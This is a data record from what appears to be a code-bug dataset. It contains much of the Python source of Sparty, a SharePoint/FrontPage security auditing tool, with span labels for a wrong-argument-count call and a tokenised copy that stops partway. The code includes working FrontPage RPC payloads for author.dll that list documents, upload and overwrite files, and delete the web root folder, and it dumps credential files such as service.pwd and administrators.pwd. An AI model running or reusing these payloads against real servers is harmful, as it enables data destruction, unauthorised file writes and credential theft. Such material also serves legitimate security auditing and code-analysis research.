['_vti_bin/_vti_aut/author.exe','_vti_bin/_vti_adm/admin.exe','_vti_bin/shtml.exe']\n enum_win = ['_vti_bin/_vti_aut/author.dll', '_vti_bin/_vti_aut/dvwssr.dll','_vti_bin/_vti_adm/admin.dll','_vti_bin/shtml.dll']\n build_enum_nix = []\n build_enum_win = []\n\n for item in enum_nix:\n build_enum_nix.append( name + \"/\" + item)\n\n for entry in build_enum_nix:\n try:\n info=urllib2.urlopen(entry)\n if info.getcode() == 200:\n print \"[+] front page is tested as : nix version | (%s) | (%d)\" %(entry,info.getcode())\n\n except urllib2.HTTPError:\n pass\n\n for item in enum_win:\n build_enum_win.append( name + \"/\" + item)\n\n for entry in build_enum_win:\n try:\n info=urllib2.urlopen(entry)\n if info.getcode() == 200:\n print \"[+] front page is tested as : windows version | (%s) | (%d)\" %(entry,info.getcode())\n\n except urllib2.HTTPError:\n pass\n\n frontend_version = name + \"/_vti_inf.html\"\n try:\n version = urllib2.urlopen(frontend_version)\n print\"[+] extracting frontpage version from default file : (%s):\" %re.findall(r'FPVersion=(.*)',version.read())\n\n except urllib2.HTTPError:\n print \"[-] failed to extract the version of frontpage from default file!\"\n pass\n\n except httplib.BadStatusLine:\n print \"[-] server responds with bad status !\"\n pass\n\n print \"[*] ---------------------------------------------------------------------------------------\"", "metadata": "root.fingerprint_frontpage", "header": "['module', '___EOS___']", "index": 220 }, { "content": "def dump_sharepoint_headers(name):\n print \"\"\n try:\n dump_s = urllib2.urlopen(name)\n print \"[+] configured sharepoint version is : (%s)\" %dump_s.info()['microsoftsharepointteamservices']\n\n except KeyError:\n print \"[-] sharepoint version could not be extracted using HTTP header : MicrosoftSharepointTeamServices !\"\n\n try:\n dump_f = urllib2.urlopen(name)\n print \"[+] sharepoint is configured with load balancing capability : (%s)\" %dump_f.info()['x-sharepointhealthscore']\n\n except KeyError:\n print \"[-] sharepoint load balancing ability could not be determined using HTTP header : X-SharepointHealthScore !\"\n\n\n try:\n dump_g = urllib2.urlopen(name)\n print \"[+] sharepoint is configured with explicit diagnosis (GUID based log analysis) purposes : (%s)\" %dump_f.info()['sprequestguid']\n\n except KeyError:\n print \"[-] sharepoint diagnostics ability could not be determined using HTTP header : SPRequestGuid !\"\n\n except urllib2.HTTPError:\n pass\n\n except httplib.BadStatusLine:\n print \"[-] server responds with bad status !\"\n pass", "metadata": "root.dump_sharepoint_headers", "header": "['module', '___EOS___']", "index": 269 }, { "content": "def frontpage_rpc_check(name):\n headers = {\n 'MIME-Version': '4.0',\n 'User-Agent': 'MSFrontPage/4.0',\n 'X-Vermeer-Content-Type': 'application/x-www-form-urlencoded',\n 'Connection': 'Keep-Alive'}\n\n exp_target_list = ['_vti_bin/shtml.exe/_vti_rpc','_vti_bin/shtml.dll/_vti_rpc']\n data = \"method= server version\"\n #data=\"method=list+services:4.0.2.0000&service_name=\"\n #for item in exploit_targets:\n\n for item in exp_target_list:\n destination = name + \"/\" + item\n\n print \"[+] Sending HTTP GET request to - (%s) for verifying whether RPC is listening !\" %destination\n try:\n req = urllib2.Request(destination)\n response = urllib2.urlopen(req)\n if response.getcode() == 200:\n print \"[+] target is listening on frontpage RPC - (%s) !\\n\" % response.getcode()\n else:\n print \"[-] target is not listening on frontpage RPC - (%s) !\\n\" %response.getcode()\n\n except urllib2.URLError as e:\n print \"[-] url error ! - %s\" % e.code\n pass\n\n except httplib.BadStatusLine as h:\n print \"[-] server responds with bad status !\"\n pass\n\n\n\n print \"[+] Sending HTTP POST request to retrieve software version - (%s)\" %destination\n try:\n req = urllib2.Request(destination,data,headers)\n response = urllib2.urlopen(req)\n if response.getcode() == 200:\n print \"[+] target accepts the request - (%s) | (%s) !\\n\" % (data, response.getcode())\n filename = \"__version__.txt\" + \".html\"\n version = open(filename, 'a')\n version.write(response.read())\n print \"[+] check file for contents - (%s) \\n\" %filename\n else:\n print \"[-] target fails to accept request - (%s) | (%s) !\\n\" %(data,response.getcode())\n\n except urllib2.URLError as e:\n print \"[-] url error, seems like authentication is required or server failed to handle request! - - %s\" % e.code\n pass\n\n except httplib.BadStatusLine:\n print \"[-] server responds with bad status !\"\n pass\n\n print \"[*] ---------------------------------------------------------------------------------------\"", "metadata": "root.frontpage_rpc_check", "header": "['module', '___EOS___']", "index": 303 }, { "content": "def frontpage_service_listing(name):\n headers = {\n 'MIME-Version': '4.0',\n 'User-Agent': 'MSFrontPage/4.0',\n 'X-Vermeer-Content-Type': 'application/x-www-form-urlencoded',\n 'Connection': 'Keep-Alive'}\n\n service_target_list = ['_vti_bin/shtml.exe/_vti_rpc','_vti_bin/shtml.dll/_vti_rpc']\n data=['method=list+services:3.0.2.1076&service_name=','method=list+services:4.0.2.471&service_name=','method=list+services:4.0.2.0000&service_name=','method=list+services:5.0.2.4803&service_name=','method=list+services:5.0.2.2623&service_name=','method=list+services:6.0.2.5420&service_name=']\n\n for item in service_target_list:\n destination = name + \"/\" + item\n\n print \"[+] Sending HTTP POST request to retrieve service listing - (%s)\" %destination\n try:\n for entry in data:\n req = urllib2.Request(destination,entry,headers)\n response = urllib2.urlopen(req)\n if response.getcode() == 200:\n print \"[+] target accepts the request - (%s) | (%s) !\" % (entry, response.getcode())\n filename = \"__service-list__.txt\" + entry + \".html\"\n service_list = open(filename, 'a')\n service_list.write(response.read())\n print \"[+] check file for contents - (%s) \\n\" %filename\n else:\n print \"[-] target fails to accept request - (%s) | (%s) !\\n\" %(data,response.getcode())\n\n except urllib2.URLError as e:\n print \"[-] url error, seems like authentication is required or server failed to handle request! - - %s\" % e.code\n pass\n\n except httplib.BadStatusLine:\n print \"[-] server responds with bad status !\"\n pass\n\n print \"[*] ---------------------------------------------------------------------------------------\"", "metadata": "root.frontpage_service_listing", "header": "['module', '___EOS___']", "index": 361 }, { "content": "def frontpage_config_check(name):\n headers = {\n 'MIME-Version': '4.0',\n 'User-Agent': 'MSFrontPage/4.0',\n 'X-Vermeer-Content-Type': 'application/x-www-form-urlencoded',\n 'Connection': 'Keep-Alive'}\n\n # running some standard commands to retrieve files and configuration checks\n # frontpage versions validated are: 3.0.2.1706 , 4.0.2.4715 , 5.0.2.4803, 5.0.2.2623 , 6.0.2.5420\n # version : major ver=n.minor ver=n.phase ver=n.verincr=v\n\n\n front_exp_target = '_vti_bin/_vti_aut/author.dll'\n payloads = ['method=open service:3.0.2.1706&service_name=/', 'method=list documents:3.0.2.1706&service_name=&listHiddenDocs=false&listExplorerDocs=false&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=false&listIncludeParent=true&listDerivedT=false&listBorders=false&initialUrl=','method=getdocument:3.0.2.1105&service_name=&document_name=about/default.htm&old_theme_html=false&force=true&get_option=none&doc_version=','method=open service:4.0.2.4715&service_name=/', 'method=list documents:4.0.2.4715&service_name=&listHiddenDocs=false&listExplorerDocs=false&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=false&listIncludeParent=true&listDerivedT=false&listBorders=false&initialUrl=','method=getdocument:4.0.2.4715&service_name=&document_name=about/default.htm&old_theme_html=false&force=true&get_option=none&doc_version=','method=open service:5.0.2.4803&service_name=/', 'method=list documents:5.0.2.4803&service_name=&listHiddenDocs=false&listExplorerDocs=false&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=false&listIncludeParent=true&listDerivedT=false&listBorders=false&initialUrl=','method=getdocument:5.0.2.4803&service_name=&document_name=about/default.htm&old_theme_html=false&force=true&get_option=none&doc_version=','method=open service:5.0.2.2623&service_name=/', 'method=list documents:5.0.2.2623&service_name=&listHiddenDocs=false&listExplorerDocs=false&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=false&listIncludeParent=true&listDerivedT=false&listBorders=false&initialUrl=','method=getdocument:5.0.2.2623&service_name=&document_name=about/default.htm&old_theme_html=false&force=true&get_option=none&doc_version=','method=open service:6.0.2.5420&service_name=/', 'method=list documents:6.0.2.5420&service_name=&listHiddenDocs=false&listExplorerDocs=false&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=false&listIncludeParent=true&listDerivedT=false&listBorders=false&initialUrl=','method=getdocument:6.0.2.5420&service_name=&document_name=about/default.htm&old_theme_html=false&force=true&get_option=none&doc_version=']\n\n\n for item in payloads:\n destination = name + \"/\" + front_exp_target\n print \"[+] Sending HTTP POST request to [open service | listing documents] - (%s)\" %destination\n try:\n req = urllib2.Request(destination,item,headers)\n response = urllib2.urlopen(req)\n if response.getcode() == 200:\n print \"[+] target accepts the request - (%s) | (%s) !\\n\" % (item, response.getcode())\n filename = \"__author-dll-config__.txt\" + \".html\"\n service_list = open(filename, 'a')\n service_list.write(response.read())\n print \"[+] check file for contents - (%s) \\n\" %filename\n\n else:\n print \"[-] target fails to accept request - (%s) | (%s) !\\n\" %(item,response.getcode())\n\n except urllib2.URLError as e:\n print \"[-] url error, seems like authentication is required or server failed to handle request! - %s \\n[-] payload [%s]\\n\" % (e.code,item)\n pass\n\n except httplib.BadStatusLine:\n print \"[-] server responds with bad status !\"\n pass", "metadata": "root.frontpage_config_check", "header": "['module', '___EOS___']", "index": 399 }, { "content": "def frontpage_remove_folder(name):\n headers = {\n 'MIME-Version': '4.0',\n 'User-Agent': 'MSFrontPage/4.0',\n 'X-Vermeer-Content-Type': 'application/x-www-form-urlencoded',\n 'Connection': 'Keep-Alive'}\n\n # running some standard commands to remove \"/\" folder from the web server using author.dll\n # frontpage versions validated are: 3.0.2.1706 , 4.0.2.4715 , 5.0.2.4803, 5.0.2.2623 , 6.0.2.5420\n\n file_exp_target = '_vti_bin/_vti_aut/author.dll'\n payloads = ['method=remove+documents:3.0.2.1786&service_name=/','method=remove+documents:4.0.2.4715&service_name=/','method=remove+documents:5.0.3.4803&service_name=/','method=remove+documents:5.0.2.4803&service_name=/','method=remove+documents:6.0.2.5420&service_name=/']\n\n for item in payloads:\n destination = name + \"/\" + file_exp_target\n print \"[+] Sending HTTP POST request to remove '/' directory to - (%s)\" %destination\n try:\n req = urllib2.Request(destination,item,headers)\n response = urllib2.urlopen(req)\n if response.getcode() == 200:\n print \"[+] folder removed successfully - (%s) | (%s) !\\n\" % (item, response.getcode())\n for line in response.readlines():\n print line\n else:\n print \"[-] fails to remove '/' folder at - (%s) | (%s) !\\n\" %(item,response.getcode())\n\n except urllib2.URLError as e:\n print \"[-] url error, seems like authentication is required or server failed to handle request! - %s \\n[-] payload [%s]\\n\" % (e.code,item)\n pass\n\n except httplib.BadStatusLine:\n print \"[-] server responds with bad status !\"\n pass", "metadata": "root.frontpage_remove_folder", "header": "['module', '___EOS___']", "index": 441 }, { "content": "def file_upload_check(name):\n headers = {\n 'MIME-Version': '4.0',\n 'User-Agent': 'MSFrontPage/4.0',\n 'X-Vermeer-Content-Type': 'application/x-www-form-urlencoded',\n 'Connection': 'Keep-Alive'}\n\n # running some standard commands to upload file to web server using author.dll\n # frontpage versions validated are: 3.0.2.1706 , 4.0.2.4715 , 5.0.2.4803, 5.0.2.2623 , 6.0.2.5420\n\n os.system(\"echo 'Sparty Testing !' > sparty.txt\")\n file_exp_target = '_vti_bin/_vti_aut/author.dll'\n payloads = ['method=put document:3.0.2.1706&service_name=&document=[document_name=sparty.txt ; meta_info=[]]&put_option=overwrite&comment=&keep_checked_out=false','method=put document:4.0.2.4715&service_name=&document=[document_name=sparty.txt ; meta_info=[]]&put_option=overwrite&comment=&keep_checked_out=false','method=put document:5.0.2.2623&service_name=&document=[document_name=sparty.txt ; meta_info=[]]&put_option=overwrite&comment=&keep_checked_out=false','method=put document:5.0.2.4823&service_name=&document=[document_name=sparty.txt ; meta_info=[]]&put_option=overwrite&comment=&keep_checked_out=false','method=put document:6.0.2.5420&service_name=&document=[document_name=sparty.txt ; meta_info=[]]&put_option=overwrite&comment=&keep_checked_out=false']\n\n for item in payloads:\n destination = name + \"/\" + file_exp_target\n print \"[+] Sending HTTP POST request for uploading file to - (%s)\" %destination\n try:\n req = urllib2.Request(destination,item,headers)\n response = urllib2.urlopen(req)\n if response.getcode() == 200:\n print \"[+] file uploaded successfully - (%s) | (%s) !\\n\" % (item, response.getcode())\n for line in response.readlines():\n print line\n else:\n print \"[-] file fails to upload at - (%s) | (%s) !\\n\" %(item,response.getcode())\n\n except urllib2.URLError as e:\n print \"[-] url error, seems like authentication is required or server failed to handle request! - %s \\n[-] payload [%s]\\n\" % (e.code,item)\n pass\n\n except httplib.BadStatusLine:\n print \"[-] server responds with bad status !\"\n pass", "metadata": "root.file_upload_check", "header": "['module', '___EOS___']", "index": 478 }, { "content": "def enable_ntlm_authentication(user = \"\", password = \"\", url = \"\"):\n print \"[+][devalias.net] Enabling NTLM authentication support\"\n # Import ntlm library\n try:\n # import ntlm\n from ntlm import HTTPNtlmAuthHandler\n print \"[+][devalias.net][NTLM Authentication] NTLM Support Library Loaded!\"\n except ImportError:\n print \"[-][devalias.net][NTLM Authentication] Program could not find module : ntlm (Is the ntlm library installed/available locally?\"\n sys.exit (1)\n\n try:\n from urlparse import urlparse, urlunparse\n except ImportError:\n print \"[-][devalias.net][NTLM Authentication] Program could not find module : urlparse\"\n sys.exit (1)\n\n if user == \"\":\n user = raw_input(\"[+][devalias.net][NTLM Authentication] Enter username (DOMAIN\\username): \")\n if password == \"\":\n password = raw_input(\"[+][devalias.net][NTLM Authentication] Enter password: \")\n\n parsed_url = urlparse(url)\n base_uri = urlunparse((parsed_url[0],parsed_url[1],\"\",\"\",\"\",\"\"))\n\n passman = urllib2.HTTPPasswordMgrWithDefaultRealm()\n passman.add_password(None, base_uri, user, password)\n # create the NTLM authentication handler\n auth_NTLM = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(passman)\n\n # other authentication handlers\n auth_basic = urllib2.HTTPBasicAuthHandler(passman)\n auth_digest = urllib2.HTTPDigestAuthHandler(passman)\n\n # disable proxies (if you want to stay within the corporate network)\n # proxy_handler = urllib2.ProxyHandler({})\n proxy_handler = urllib2.ProxyHandler()\n\n # create and install the opener\n opener = urllib2.build_opener(proxy_handler, auth_NTLM, auth_digest, auth_basic)\n urllib2.install_opener(opener)\n\n print \"[+][devalias.net][NTLM authentication] Credentials enabled for \" + user", "metadata": "root.enable_ntlm_authentication", "header": "['module', '___EOS___']", "index": 514 }, { "content": "def main():\n check_python()\n banner()\n\n parser = optparse.OptionParser(usage=\"usage: %prog [options]\", version=\"%prog 1.0\")\n\n front_page = optparse.OptionGroup(parser,\"Frontpage:\")\n share_point = optparse.OptionGroup(parser,\"Sharepoint:\")\n mandatory = optparse.OptionGroup(parser,\"Mandatory:\")\n exploit = optparse.OptionGroup(parser,\"Information Gathering and Exploit:\")\n authentication = optparse.OptionGroup(parser,\"Authentication [devalias.net]\")\n general = optparse.OptionGroup(parser,\"General:\")\n\n mandatory.add_option(\"-u\",\"--url\", type=\"string\" , help=\"target url to scan with proper structure\", dest=\"url\")\n front_page.add_option(\"-f\", \"--frontpage\", type=\"choice\", choices=['pvt' ,'bin'], help=\"<FRONTPAGE = pvt | bin> -- to check access permissions on frontpage standard files in vti or bin directory!\", dest=\"frontpage\")\n share_point.add_option(\"-s\",\"--sharepoint\", type=\"choice\", choices=['forms','layouts','catalog'], help=\"<SHAREPOINT = forms | layouts | catalog> -- to check access permissions on sharepoint standard files in forms or layouts or catalog directory!\", dest=\"sharepoint\")\n\n exploit.add_option(\"-v\",\"--http_fingerprint\", type=\"choice\", choices=['ms_sharepoint','ms_frontpage'], help=\"<FINGERPRINT = ms_sharepoint | ms_frontpage> -- fingerprint sharepoint or frontpage based on HTTP headers!\" , dest=\"fingerprint\")\n exploit.add_option(\"-d\",\"--dump\", type=\"choice\", choices=['dump', 'extract'] , help=\"<DUMP = dump | extract> -- dump credentials from default sharepoint and frontpage files (configuration errors and exposed entries)!\", dest=\"dump\")\n exploit.add_option(\"-l\",\"--list\", type=\"choice\", choices=['list','index'], help=\"<DIRECTORY = list | index> -- check directory listing and permissions!\", dest=\"directory\")\n exploit.add_option(\"-e\",\"--exploit\", type=\"choice\", choices=['rpc_version_check','rpc_service_listing', 'author_config_check','rpc_file_upload','author_remove_folder'], help=\"EXPLOIT = <rpc_version_check | rpc_service_listing | rpc_file_upload | author_config_check | author_remove_folder> -- exploit vulnerable installations by checking RPC querying, service listing and file uploading\", dest=\"exploit\")\n exploit.add_option(\"-i\",\"--services\", type=\"choice\", choices=['serv','services'], help=\"SERVICES = <serv | services> -- checking exposed services !\", dest=\"services\")\n\n authentication.add_option(\"-a\",\"--auth-type\", type=\"choice\", choices=['ntlm'], help=\"AUTHENTICATION = <ntlm> -- Authenticate with NTLM user/pass !\", dest=\"authentication\")\n\n general.add_option(\"-x\",\"--examples\", type=\"string\",help=\"running usage examples !\", dest=\"examples\")\n\n parser.add_option_group(front_page)\n parser.add_option_group(share_point)\n parser.add_option_group(mandatory)\n parser.add_option_group(exploit)\n parser.add_option_group(authentication)\n parser.add_option_group(general)\n\n options, arguments = parser.parse_args()\n\n try:\n target = options.url\n\n # devalias.net - Authentication\n if options.authentication == \"ntlm\":\n enable_ntlm_authentication(\"\", \"\", target) # Leave user/pass blank to prompt user\n # TODO: Enable commandline user/pass?\n\n if target is not None:\n target_information(target)\n else:\n print \"[-] specify the options. use (-h) for more help!\"\n sys.exit(0)\n\n if options.dump==\"dump\" or options.dump == \"extract\":\n print \"\\n[+]------------------------------------------------------------------------------------------------!\"\n print \"[+] dumping (service.pwd | authors.pwd | administrators.pwd | ws_ftp.log) files if possible!\"\n print \"[+]--------------------------------------------------------------------------------------------------!\\n\"\n dump_credentials(target)\n module_success(\"password dumping\")\n return\n\n elif options.exploit == \"rpc_version_check\":\n print \"\\n[+]-----------------------------------------------------------------------!\"\n print \"[+] auditing frontpage RPC service !\"\n print \"[+]-------------------------------------------------------------------------!\\n\"\n frontpage_rpc_check(target)\n module_success(\"module RPC version check\")\n return\n\n elif options.exploit == \"rpc_service_listing\":\n print \"\\n[+]-----------------------------------------------------------------------!\"\n print \"[+] auditing frontpage RPC service for fetching listing !\"\n print \"[+]-------------------------------------------------------------------------!\\n\"\n frontpage_service_listing(target)\n module_success(\"module RPC service listing check\")\n return\n\n elif options.exploit == \"author_config_check\":\n print \"\\n[+]-----------------------------------------------------------------------!\"\n print \"[+] auditing frontpage configuration settings !\"\n print \"[+]-------------------------------------------------------------------------!\\n\"\n frontpage_config_check(target)\n module_success(\"module RPC check\")\n return\n\n elif options.exploit == \"author_remove_folder\":\n print \"\\n[+]-----------------------------------------------------------------------!\"\n print \"[+] trying to remove folder from web server !\"\n print \"[+]-------------------------------------------------------------------------!\\n\"\n frontpage_remove_folder(target)\n module_success(\"module remove folder check\")\n return\n\n\n elif options.exploit == \"rpc_file_upload\":\n print \"\\n[+]-----------------------------------------------------------------------!\"\n print \"[+] auditing file uploading misconfiguration !\"\n print \"[+]-------------------------------------------------------------------------!\\n\"\n file_upload_check(target)\n module_success(\"module file upload check\")\n return\n\n\n elif options.examples == \"examples\":\n sparty_usage(target)\n return\n\n elif options.directory == \"list\" or options.directory == \"index\":\n build_target(target,directory_check,dir_target)\n print \"\\n[+]-----------------------------------------------------------------------!\"\n print \"[+] auditing frontpage directory permissions (forbidden | index | not exist)!\"\n print \"[+]-------------------------------------------------------------------------!\\n\"\n audit(dir_target)\n module_success(\"directory check\")\n return\n\n elif options.frontpage == \"bin\":\n build_target(target,front_bin,refine_target)\n print \"\\n[+]----------------------------------------!\"\n print \"[+] auditing frontpage '/_vti_bin/' directory!\"\n print \"[+]------------------------------------------!\\n\"\n audit(refine_target)\n module_success(\"bin file access\")\n\n elif options.frontpage == \"pvt\":\n build_target(target,front_pvt,pvt_target)\n print \"\\n[+]---------------------------------------------------------!\"\n print \"[+] auditing '/_vti_pvt/' directory for sensitive information !\"\n print \"[+]-----------------------------------------------------------!\\n\"\n audit(pvt_target)\n module_success(\"pvt file access\")\n return\n\n elif options.fingerprint == \"ms_sharepoint\":\n dump_sharepoint_headers(target)\n print \"\\n[+] sharepoint fingerprinting module completed !\\n\"\n return\n\n\n elif options.fingerprint == \"ms_frontpage\":\n fingerprint_frontpage(target)\n print \"\\n[+] frontpage fingerprinting module completed !\\n\"\n return\n\n elif options.sharepoint == \"layouts\":\n build_target(target,sharepoint_check_layout,sharepoint_target_layout)\n print \"\\n[+]-----------------------------------------------------------------!\"\n print \"[+] auditing sharepoint '/_layouts/' directory for access permissions !\"\n print \"[+]-------------------------------------------------------------------!\\n\"\n audit(sharepoint_target_layout)\n module_success(\"layout file access\")\n return\n\n elif options.sharepoint == \"forms\":\n build_target(target,sharepoint_check_forms,sharepoint_target_forms)\n print \"\\n[+]--------------------------------------------------------------!\"\n print \"[+] auditing sharepoint '/forms/' directory for access permissions !\"\n print \"[+]----------------------------------------------------------------!\\n\"\n audit(sharepoint_target_forms)\n module_success(\"forms file access\")\n return\n\n elif options.sharepoint == \"catalog\":\n build_target(target,sharepoint_check_catalog,sharepoint_target_catalog)\n print \"\\n[+]--------------------------------------------------------------!\"\n print \"[+] auditing sharepoint '/catalog/' directory for access permissions !\"\n print \"[+]----------------------------------------------------------------!\\n\"\n audit(sharepoint_target_catalog)\n module_success(\"catalogs file access\")\n return\n\n elif options.services == \"serv\" or options.services == \"services\":\n build_target(target,front_services,refine_target)\n print \"\\n[+]---------------------------------------------------------------!\"\n print \"[+] checking exposed services in the frontpage/sharepoint directory!\"\n print \"[+]-----------------------------------------------------------------!\\n\"\n audit(refine_target)\n module_success(\"exposed services check\")\n\n\n else:\n print \"[-] please provide the proper scanning options!\"\n print \"[+] check help (-h) for arguments and url specification!\"\n sys.exit(0)\n\n except ValueError as v:\n print \"[-] ValueError occurred. Improper option argument or url!\"\n print \"[+] check for help (-h) for more details!\"\n sys.exit(0)\n\n except TypeError as t:\n print \"[-] TypeError occcured. Missing option argument or url!\"\n print \"[+] check for help (-h) for more details!\"\n sys.exit(0)\n\n except IndexError as e:\n sparty_usage()\n sys.exit(0)\n\n except urllib2.HTTPError as h:\n print \"[-] HTTPError : %s\" %h.code\n print \"[+] please specify the target with protocol handlers as http | https\"\n sys.exit(0)\n\n except urllib2.URLError as u:\n print \"[-] URLError : %s\" %u.args\n print \"[+] please specify the target with protocol handlers as http | https\"\n sys.exit(0)\n\n except KeyboardInterrupt:\n print \"[-] halt signal detected, exiting the program !\\n\"\n sys.exit(0)\n\n\n except None:\n print \"[] Hey\"\n sys.exit(0)", "metadata": "root.main", "header": "['module', '___EOS___']", "index": 560 } ]
[ { "span": "sparty_usage()", "start_line": 753, "start_column": 8, "end_line": 753, "end_column": 22 } ]
[ { "span": "def sparty_usage(destination):", "start_line": 128, "start_column": 0, "end_line": 128, "end_column": 30 } ]
1
false
[ "[CLS]_", "Wro", "ng_", "number_", "of_", "arguments_", "in_", "a_", "call_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "check", "\\u", "python_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "version_", "=_", "sys_", "._", "version", "\\u", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "version_", "[_", ":_", "2_", "]_", "!=_", "(_", "2_", ",_", "6_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "Spar", "ty", " ", "is", " ", "writt", "en", " ", "in", " ", "Pyth", "on", " ", "2.6", ".5", " ", "(", "final", ").", " ", "Kin", "dl", "y", " ", "use", " ", "tha", "t", " ", "version", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "dev", "alias", ".", "net", "]", " ", "!!!!!!", "!!!!!!", "!!!!!!", "!!!!!!", "!!!", "!!\"", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "dev", "alias", ".", "net", "]", " ", "!!!", " ", "HER", "E", " ", "THER", "E", " ", "BE", " ", "DRA", "GO", "NS", " ", "!!!", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "dev", "alias", ".", "net", "]", " ", "!!!!!!", "!!!!!!", "!!!!!!", "!!!!!!", "!!!", "!!\"", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "unsup", "porte", "d\\u", "ver_", "=_", "raw", "\\u", "input_", "(_", "\"[", "dev", "alias", ".", "net", "]", " ", "Wo", "ul", "d", " ", "you", " ", "like", " ", "to", " ", "continue", " ", "past", " ", "this", " ", "version", " ", "check", " ", "AT", " ", "YOU", "R", " ", "OWN", " ", "RIS", "K", "?", " ", "(", "Type", ":", " ", "YE", "S", "):", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "unsup", "porte", "d\\u", "ver_", "!=_", "\"", "YE", "S", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "\"[", "dev", "alias", ".", "net", "]", " ", "Prob", "abl", "y", " ", "a", " ", "safe", "r", " ", "choice", ".", " ", "Exi", "ting", "!", " ", "(", "Enter", "ed", ":", " ", "%", "s", ")\"_", "%_", "(_", "unsup", "porte", "d\\u", "ver_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "banner_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"\\\\", "t", "--------------", "--------------", "--------------", "--------------", "-------", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "spar", "ty", "\\u", "banner_", "=_", "\"\"\"", "\\", "10", ";", " ", " ", "\\u|", "\\u|", "\\u|", " ", " ", " ", " ", "\\u|", "\\u|", "\\u|", " ", "\\u|", "\\u|", " ", " ", " ", " ", "\\u|", "\\u|", "\\u|", " ", " ", " ", " ", "\\u|", "\\u|", "\\u|", "\\u|", "\\u|", " ", " ", "\\u|", " ", " ", "\\u|", "\\", "10", ";", " ", " ", " ", " ", " ", "\\u|", " ", " ", " ", " ", "\\u|", " ", " ", " ", " ", "\\u|", " ", " ", "\\u|", " ", " ", " ", " ", "\\u|", " ", " ", "\\u|", " ", " ", " ", " ", "\\u|", " ", " ", "\\u|", " ", " ", " ", " ", "\\u|", " ", " ", "\\u|", "\\", "10", ";", " ", " ", " ", "\\u|", "\\u|", " ", " ", " ", " ", "\\u|", "\\u|", "\\u|", " ", " ", " ", " ", "\\u|", "\\u|", "\\u|", "\\u|", " ", " ", "\\u|", "\\u|", "\\u|", " ", " ", " ", " ", "\\u|", " ", " ", "\\u|", "\\", "10", ";", " ", " ", " ", "\\u|", " ", " ", "\\u|", " ", " ", " ", " ", "\\u|", " ", " ", " ", " ", "\\u|", " ", " ", "\\u|", " ", " ", " ", " ", "\\u|", " ", " ", "\\u|", " ", " ", "\\u|", "\\", "10", ";", " ", " ", " ", " ", " ", "\\u|", "\\u|", "\\u|", " ", " ", " ", " ", "\\u|", " ", " ", " ", " ", "\\u|", " ", " ", " ", " ", "\\u|", " ", " ", "\\u|", " ", " ", " ", " ", "\\u|", " ", " ", "\\u|", " ", " ", "\\u|", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "SPAR", "TY", " ", ":", " ", "Share", "point", "/", "Front", "page", " ", "Secur", "it", "y", " ", "Audi", "ting", " ", "Tool", "!", "\\", "10", ";", " ", " ", " ", " ", "Author", "ed", " ", "by", ":", " ", "Adi", "ty", "a", " ", "K", " ", "So", "od", " ", "|", "{", "0", "kn", "0c", "k", "}@", "sec", "nich", "e", ".", "org", " ", " ", "|", " ", "2013", "\\", "10", ";", " ", " ", " ", " ", "Twit", "ter", ":", " ", "@", "Adi", "ty", "a", "KS", "oo", "d", "\\", "10", ";", " ", " ", " ", " ", "Power", "ed", " ", "by", ":", " ", "Sec", "Nic", "he", " ", "Secur", "it", "y", " ", "Lab", "s", " ", "!", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "spar", "ty", "\\u", "banner_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"\\\\", "t", "--------------", "--------------", "--------------", "--------------", "------", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "spar", "ty", "\\u", "usage_", "(_", "destination_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "scanning", " ", "access", " ", "permissi", "ons", " ", "in", " ", "forms", " ", "director", "y", " ", "-", " ", "share", "point", "]", " ", "%", "s", " ", "-", "s", " ", "forms", " ", "-", "u", " ", " ", "%", "s", " ", "\"_", "%_", "(_", "sys_", "._", "argv_", "[_", "0_", "]_", ",_", "destination_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "scanning", " ", "access", " ", "permissi", "ons", " ", "in", " ", "front", "page", " ", "director", "y", " ", "-", " ", "front", "page", "]", " ", "%", "s", " ", "-", "f", " ", "pv", "t", " ", "-", "u", " ", "%", "s", " ", "\"_", "%_", "(_", "sys_", "._", "argv_", "[_", "0_", "]_", ",_", 